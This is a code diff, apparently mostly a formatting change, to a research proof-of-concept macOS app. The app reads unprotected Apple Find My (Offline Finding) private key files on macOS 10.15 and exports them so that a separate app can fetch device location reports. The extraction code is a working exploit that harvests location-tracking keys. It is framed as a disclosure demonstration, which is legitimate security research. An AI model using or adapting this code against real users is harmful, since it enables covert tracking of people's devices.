@@ -8,34 +8,34 @@
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import SwiftUI
|
||||
import CoreLocation
|
||||
import SwiftUI
|
||||
|
||||
@NSApplicationMain
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
var window: NSWindow!
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = ContentView()
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = ContentView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,84 +7,89 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct ContentView: View {
|
||||
|
||||
@State var keysInfo: String?
|
||||
@State var keysInfo: String?
|
||||
|
||||
var body: some View {
|
||||
ZStack {
|
||||
VStack {
|
||||
Spacer()
|
||||
var body: some View {
|
||||
ZStack {
|
||||
VStack {
|
||||
Spacer()
|
||||
|
||||
self.infoText
|
||||
.padding()
|
||||
self.infoText
|
||||
.padding()
|
||||
|
||||
Button(action: {
|
||||
self.readPrivateKeys()
|
||||
}, label: {
|
||||
Text("Read private offline finding keys")
|
||||
.font(.headline)
|
||||
.foregroundColor(Color.black)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 7.0)
|
||||
.fill(Color(white: 7.0).opacity(0.7))
|
||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||
)
|
||||
Button(
|
||||
action: {
|
||||
self.readPrivateKeys()
|
||||
},
|
||||
label: {
|
||||
Text("Read private offline finding keys")
|
||||
.font(.headline)
|
||||
.foregroundColor(Color.black)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 7.0)
|
||||
.fill(Color(white: 7.0).opacity(0.7))
|
||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||
)
|
||||
|
||||
})
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
self.keysInfo.map { (keysInfo) in
|
||||
Text(keysInfo)
|
||||
.padding()
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
self.keysInfo.map { (keysInfo) in
|
||||
Text(keysInfo)
|
||||
.padding()
|
||||
}
|
||||
.frame(width: 800, height: 600)
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
.frame(width: 800, height: 600)
|
||||
|
||||
var infoText: some View {
|
||||
// swiftlint:disable line_length
|
||||
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
|
||||
Text(" all ").bold() +
|
||||
Text("Apple devices of the current user.\n\n") +
|
||||
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
|
||||
// swiftlint:enable line_length
|
||||
}
|
||||
|
||||
var infoText: some View {
|
||||
// swiftlint:disable line_length
|
||||
Text(
|
||||
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
|
||||
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
|
||||
+ Text(
|
||||
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
|
||||
)
|
||||
// swiftlint:enable line_length
|
||||
}
|
||||
|
||||
func readPrivateKeys() {
|
||||
|
||||
do {
|
||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
|
||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||
self.saveExportedKeys(keys: devices)
|
||||
} catch {
|
||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func readPrivateKeys() {
|
||||
|
||||
do {
|
||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
|
||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||
self.saveExportedKeys(keys: devices)
|
||||
} catch {
|
||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||
do {
|
||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||
} catch {
|
||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||
}
|
||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||
do {
|
||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||
} catch {
|
||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,219 +7,227 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
import OSLog
|
||||
|
||||
struct FindMyKeyExtractor {
|
||||
// swiftlint:disable identifier_name
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||
/// - Throws: Error when accessing files fails
|
||||
/// - Returns: Devices and their respective keys
|
||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||
var devices = [FindMyDevice]()
|
||||
os_log(.debug, "Looking for keys")
|
||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||
/// - Throws: Error when accessing files fails
|
||||
/// - Returns: Devices and their respective keys
|
||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||
var devices = [FindMyDevice]()
|
||||
os_log(.debug, "Looking for keys")
|
||||
|
||||
do {
|
||||
|
||||
// The key files have moved with macOS 10.15.4
|
||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||
devices.append(contentsOf: macOS10_15_3Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
do {
|
||||
// Tries to discover the new location of the keys
|
||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||
devices.append(contentsOf: macOS10_15_4Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
// MARK: - macOS 10.15.0 - 10.15.3
|
||||
|
||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||
/// - Returns: An array of find my devices including their keys
|
||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||
|
||||
let fm = FileManager.default
|
||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||
.first?.appendingPathComponent(directoryPath)
|
||||
let folders = try fm.contentsOfDirectory(
|
||||
at: privateKeysPath!,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
|
||||
|
||||
print("Found \(folders.count) folders")
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for folderURL in folders {
|
||||
let keyFiles = try fm.contentsOfDirectory(
|
||||
at: folderURL,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
// Check if keys are available
|
||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||
guard keyFiles.isEmpty == false else { continue }
|
||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||
|
||||
for url in keyFiles {
|
||||
do {
|
||||
|
||||
// The key files have moved with macOS 10.15.4
|
||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||
devices.append(contentsOf: macOS10_15_3Devices)
|
||||
if url.pathExtension == "keys" {
|
||||
let keyPlist = try Data(contentsOf: url)
|
||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||
device.keys.append(keyInfo)
|
||||
}
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||
print("Could not load key file ", error)
|
||||
}
|
||||
|
||||
do {
|
||||
// Tries to discover the new location of the keys
|
||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||
devices.append(contentsOf: macOS10_15_4Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
devices.append(device)
|
||||
}
|
||||
|
||||
// MARK: - macOS 10.15.0 - 10.15.3
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||
/// - Returns: An array of find my devices including their keys
|
||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||
|
||||
let fm = FileManager.default
|
||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||
.first?.appendingPathComponent(directoryPath)
|
||||
let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
|
||||
|
||||
print("Found \(folders.count) folders")
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for folderURL in folders {
|
||||
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
// Check if keys are available
|
||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||
guard keyFiles.isEmpty == false else {continue}
|
||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||
|
||||
for url in keyFiles {
|
||||
do {
|
||||
if url.pathExtension == "keys" {
|
||||
let keyPlist = try Data(contentsOf: url)
|
||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||
device.keys.append(keyInfo)
|
||||
}
|
||||
} catch {
|
||||
print("Could not load key file ", error)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
devices.append(device)
|
||||
}
|
||||
|
||||
return devices
|
||||
/// Parses the key plist file used until macOS 10.15.3
|
||||
/// - Parameter keyFile: Propery list data
|
||||
/// - Returns: Find My private Key
|
||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||
guard
|
||||
let keyDict = try PropertyListSerialization.propertyList(
|
||||
from: keyFile,
|
||||
options: .init(), format: nil) as? [String: Any],
|
||||
let advertisedKey = keyDict["A"] as? Data,
|
||||
let privateKey = keyDict["PR"] as? Data,
|
||||
let timeValues = keyDict["D"] as? [Double],
|
||||
let pu = keyDict["PU"] as? Data
|
||||
else {
|
||||
throw FindMyError.parsingFailed
|
||||
}
|
||||
|
||||
/// Parses the key plist file used until macOS 10.15.3
|
||||
/// - Parameter keyFile: Propery list data
|
||||
/// - Returns: Find My private Key
|
||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
|
||||
options: .init(), format: nil) as? [String: Any],
|
||||
let advertisedKey = keyDict["A"] as? Data,
|
||||
let privateKey = keyDict["PR"] as? Data,
|
||||
let timeValues = keyDict["D"] as? [Double],
|
||||
let pu = keyDict["PU"] as? Data
|
||||
else {
|
||||
throw FindMyError.parsingFailed
|
||||
}
|
||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||
let hashedKey = Data(hashedKeyDigest)
|
||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||
let duration = timeValues[1]
|
||||
|
||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||
let hashedKey = Data(hashedKeyDigest)
|
||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||
let duration = timeValues[1]
|
||||
return FindMyKey(
|
||||
advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: privateKey,
|
||||
startTime: time,
|
||||
duration: duration,
|
||||
pu: pu,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
}
|
||||
|
||||
return FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: privateKey,
|
||||
startTime: time,
|
||||
duration: duration,
|
||||
pu: pu,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
}
|
||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||
|
||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||
static func findRamdomKeyFolder() -> [URL] {
|
||||
os_log(.debug, "Searching for cached keys folder")
|
||||
var folderURLs = [URL]()
|
||||
let foldersPath = "/private/var/folders/"
|
||||
let fm = FileManager.default
|
||||
|
||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||
static func findRamdomKeyFolder() -> [URL] {
|
||||
os_log(.debug, "Searching for cached keys folder")
|
||||
var folderURLs = [URL]()
|
||||
let foldersPath = "/private/var/folders/"
|
||||
let fm = FileManager.default
|
||||
|
||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||
do {
|
||||
let randomSubfolders = try fm.contentsOfDirectory(at: url,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .includesDirectoriesPostOrder)
|
||||
|
||||
for folder in randomSubfolders {
|
||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||
os_log(.debug, "Found folder at: %@", folder.path)
|
||||
break
|
||||
} else {
|
||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||
}
|
||||
}
|
||||
|
||||
} catch {
|
||||
|
||||
}
|
||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||
do {
|
||||
let randomSubfolders = try fm.contentsOfDirectory(
|
||||
at: url,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .includesDirectoriesPostOrder)
|
||||
|
||||
for folder in randomSubfolders {
|
||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||
os_log(.debug, "Found folder at: %@", folder.path)
|
||||
break
|
||||
} else {
|
||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||
}
|
||||
}
|
||||
|
||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||
} catch {
|
||||
|
||||
return folderURLs
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||
/// - Throws: An error if the key folder cannot be fould
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||
let keysFolders = self.findRamdomKeyFolder()
|
||||
guard keysFolders.isEmpty == false else {
|
||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||
}
|
||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
for folder in keysFolders {
|
||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||
devices.append(contentsOf: deviceKeys)
|
||||
}
|
||||
}
|
||||
return folderURLs
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||
/// - Throws: An error if the key folder cannot be fould
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||
let keysFolders = self.findRamdomKeyFolder()
|
||||
guard keysFolders.isEmpty == false else {
|
||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||
}
|
||||
|
||||
/// Load the keys fils in the passed directory
|
||||
/// - Parameter directory: Pass a directory url to a location with key files
|
||||
/// - Throws: An error if the keys could not be found
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||
os_log(.debug, "Loading key files from %@", directory.path)
|
||||
let fm = FileManager.default
|
||||
let subDirectories = try fm.contentsOfDirectory(at: directory,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
var devices = [FindMyDevice]()
|
||||
for folder in keysFolders {
|
||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||
devices.append(contentsOf: deviceKeys)
|
||||
}
|
||||
}
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
return devices
|
||||
}
|
||||
|
||||
for deviceDirectory in subDirectories {
|
||||
do {
|
||||
var keyFiles = [Data]()
|
||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .skipsHiddenFiles)
|
||||
for keyfileURL in keyFileURLs {
|
||||
// Read the key files
|
||||
let keyFile = try Data(contentsOf: keyfileURL)
|
||||
if keyFile.isEmpty == false {
|
||||
keyFiles.append(keyFile)
|
||||
}
|
||||
}
|
||||
/// Load the keys fils in the passed directory
|
||||
/// - Parameter directory: Pass a directory url to a location with key files
|
||||
/// - Throws: An error if the keys could not be found
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||
os_log(.debug, "Loading key files from %@", directory.path)
|
||||
let fm = FileManager.default
|
||||
let subDirectories = try fm.contentsOfDirectory(
|
||||
at: directory,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
|
||||
// Decode keys for file
|
||||
let decoder = FindMyKeyDecoder()
|
||||
var decodedKeys = [FindMyKey]()
|
||||
for file in keyFiles {
|
||||
do {
|
||||
let fmKeys = try decoder.parse(keyFile: file)
|
||||
decodedKeys.append(contentsOf: fmKeys)
|
||||
} catch {
|
||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||
devices.append(device)
|
||||
} catch {
|
||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||
}
|
||||
for deviceDirectory in subDirectories {
|
||||
do {
|
||||
var keyFiles = [Data]()
|
||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||
let keyFileURLs = try fm.contentsOfDirectory(
|
||||
at: keyDirectory,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .skipsHiddenFiles)
|
||||
for keyfileURL in keyFileURLs {
|
||||
// Read the key files
|
||||
let keyFile = try Data(contentsOf: keyfileURL)
|
||||
if keyFile.isEmpty == false {
|
||||
keyFiles.append(keyFile)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
// Decode keys for file
|
||||
let decoder = FindMyKeyDecoder()
|
||||
var decodedKeys = [FindMyKey]()
|
||||
for file in keyFiles {
|
||||
do {
|
||||
let fmKeys = try decoder.parse(keyFile: file)
|
||||
decodedKeys.append(contentsOf: fmKeys)
|
||||
} catch {
|
||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||
devices.append(device)
|
||||
} catch {
|
||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -7,38 +7,38 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Combine
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
struct FindMyDevice: Codable {
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
/// ?
|
||||
let pu: Data?
|
||||
// swiftlint:disable identifier_name
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case noFoldersFound
|
||||
case parsingFailed
|
||||
case noFoldersFound
|
||||
case parsingFailed
|
||||
}
|
||||
|
||||
@@ -7,40 +7,41 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Keys"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Keys"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
self.panel?.begin(completionHandler: { (response) in
|
||||
if response == .OK {
|
||||
// Save the file in a cache directory
|
||||
let fileURL = self.panel?.url
|
||||
try? self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
})
|
||||
self.panel?.begin(completionHandler: { (response) in
|
||||
if response == .OK {
|
||||
// Save the file in a cache directory
|
||||
let fileURL = self.panel?.url
|
||||
try? self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
})
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
return filename
|
||||
}
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||
{
|
||||
return filename
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,6 +51,7 @@
|
||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
|
||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
|
||||
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
|
||||
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
|
||||
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
|
||||
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
|
||||
@@ -155,6 +156,7 @@
|
||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
|
||||
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
|
||||
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
|
||||
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
|
||||
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
|
||||
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
|
||||
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
|
||||
@@ -360,6 +362,7 @@
|
||||
78EC227025DBC8BB0042B775 /* Views */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78F8BB4A261C50D500D9F37F /* Styles */,
|
||||
78286D7625E5114600F65511 /* ActivityIndicator.swift */,
|
||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
|
||||
